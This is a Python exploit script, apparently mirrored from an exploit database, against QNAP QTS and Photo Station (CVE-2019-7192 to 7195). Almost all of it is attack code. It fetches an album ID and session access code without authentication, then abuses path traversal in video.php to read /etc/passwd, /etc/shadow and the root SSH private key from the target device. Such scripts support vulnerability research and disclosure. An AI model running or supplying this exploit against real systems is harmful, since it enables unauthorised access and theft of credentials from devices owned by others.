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## https://sploitus.com/exploit?id=PACKETSTORM:157857
# Exploit Title: QNAP QTS and Photo Station 6.0.3 - Remote Command Execution  
# Exploit Author: Yunus YILDIRIM (Th3Gundy)  
# Team: CT-Zer0 (@CRYPTTECH) - https://www.crypttech.com  
# Date: 2020-05-28  
# Vendor Homepage: https://www.qnap.com  
# Version: QTS < 4.4.1 | Photo Station < 6.0.3  
# CVE: CVE-2019-7192, CVE-2019-7193, CVE-2019-7194, CVE-2019-7195  
# References: https://github.com/th3gundy/CVE-2019-7192_QNAP_Exploit  
# References: https://medium.com/@cycraft_corp/qnap-pre-auth-root-rce-affecting-312k-devices-on-the-internet-fc8af285622e  
# References: https://www.qnap.com/zh-tw/security-advisory/nas-201911-25  
  
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#!/usr/bin/python3  
  
__author__ = "Yunus YILDIRIM (@Th3Gundy)"  
__version__ = "0.1"  
  
  
import requests  
import re, sys  
  
# hide ssl error  
from requests.packages.urllib3.exceptions import InsecureRequestWarning  
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)  
  
  
def get_banner():  
print("""\033[91m  
โ–ˆโ–ˆโ–ˆโ–ˆโ–ˆ โ–ˆโ–ˆโ–ˆโ–„ โ–ˆ โ–„โ–„โ–„ โ–ˆโ–ˆโ–“โ–ˆโ–ˆโ–ˆ   
โ–’โ–ˆโ–ˆโ–“ โ–ˆโ–ˆโ–’ โ–ˆโ–ˆ โ–€โ–ˆ โ–ˆ โ–’โ–ˆโ–ˆโ–ˆโ–ˆโ–„ โ–“โ–ˆโ–ˆโ–‘ โ–ˆโ–ˆโ–’  
โ–’โ–ˆโ–ˆโ–’ โ–ˆโ–ˆโ–‘โ–“โ–ˆโ–ˆ โ–€โ–ˆ โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆ โ–€โ–ˆโ–„ โ–“โ–ˆโ–ˆโ–‘ โ–ˆโ–ˆโ–“โ–’  
โ–‘โ–ˆโ–ˆ โ–ˆโ–€ โ–‘โ–“โ–ˆโ–ˆโ–’ โ–โ–Œโ–ˆโ–ˆโ–’โ–‘โ–ˆโ–ˆโ–„โ–„โ–„โ–„โ–ˆโ–ˆ โ–’โ–ˆโ–ˆโ–„โ–ˆโ–“โ–’ โ–’  
โ–‘โ–’โ–ˆโ–ˆโ–ˆโ–’โ–ˆโ–„ โ–’โ–ˆโ–ˆโ–‘ โ–“โ–ˆโ–ˆโ–‘ โ–“โ–ˆ โ–“โ–ˆโ–ˆโ–’โ–’โ–ˆโ–ˆโ–’ โ–‘ โ–‘  
โ–‘โ–‘ โ–’โ–’โ–‘ โ–’ โ–‘ โ–’โ–‘ โ–’ โ–’ โ–’โ–’ โ–“โ–’โ–ˆโ–‘โ–’โ–“โ–’โ–‘ โ–‘ โ–‘  
โ–‘ โ–’โ–‘ โ–‘ โ–‘ โ–‘โ–‘ โ–‘ โ–’โ–‘ โ–’ โ–’โ–’ โ–‘โ–‘โ–’ โ–‘   
โ–‘ โ–‘ โ–‘ โ–‘ โ–‘ โ–‘ โ–’ โ–‘โ–‘   
โ–‘ โ–‘ โ–‘ โ–‘ \033[0m \033[94m {0} \033[0m  
""".format(__author__))  
  
  
def get_file_content(file):  
post_data = {'album': album_id, 'a': 'caption', 'ac': access_code, 'f': 'UMGObv', 'filename': file}  
file_read_response = req.post(url + "/photo/p/api/video.php", data=post_data, headers=headers, verify=False, timeout=10)  
  
print("="*65) ; print("{0} file content;\n{1}" .format(file,file_read_response.text))  
  
# print banner  
get_banner()  
  
if len(sys.argv) != 2:  
print("\033[93mUsage : python3 gundy.py https://vulnerable_url:port\033[0m")  
sys.exit(-1)  
  
url = sys.argv[1].rstrip('/')  
headers = {"User-Agent": "Gundy - QNAP RCE"}  
  
# for session cookie  
req = requests.Session()  
  
#######################################################################  
# search album_id  
  
print("="*65)  
post_data = {'a': 'setSlideshow', 'f': 'qsamplealbum'}  
album_id_response = req.post(url + "/photo/p/api/album.php", data=post_data, headers=headers, verify=False, timeout=10)  
  
if album_id_response.status_code != 200:  
print("album id not found \n\033[91mnot vulnerable\033[0m")  
sys.exit(0)  
  
album_id = re.search('(?<=<output>).*?(?=</output>)', album_id_response.text).group()  
  
print("album_id ==> " + album_id)  
  
#######################################################################  
# search $_SESSION['access_code']   
  
access_code_response = req.get(url + "/photo/slideshow.php?album=" + album_id, headers=headers, verify=False, timeout=10)  
if access_code_response.status_code != 200:  
print("slideshow not found \n\033[91mnot vulnerable\033[0m")  
sys.exit(0)  
  
access_code = re.search("(?<=encodeURIComponent\\(').*?(?=')", access_code_response.text).group()  
  
print("access_code ==> " + access_code)  
  
#######################################################################  
  
# /etc/passwd file read  
get_file_content('./../../../../../etc/passwd')  
  
# /etc/shadow read  
get_file_content('./../../../../../etc/shadow')  
  
# /etc/hostname read  
get_file_content('./../../../../../etc/hostname')  
  
# /root/.ssh/id_rsa read  
get_file_content('./../../../../../root/.ssh/id_rsa')  
  
#######################################################################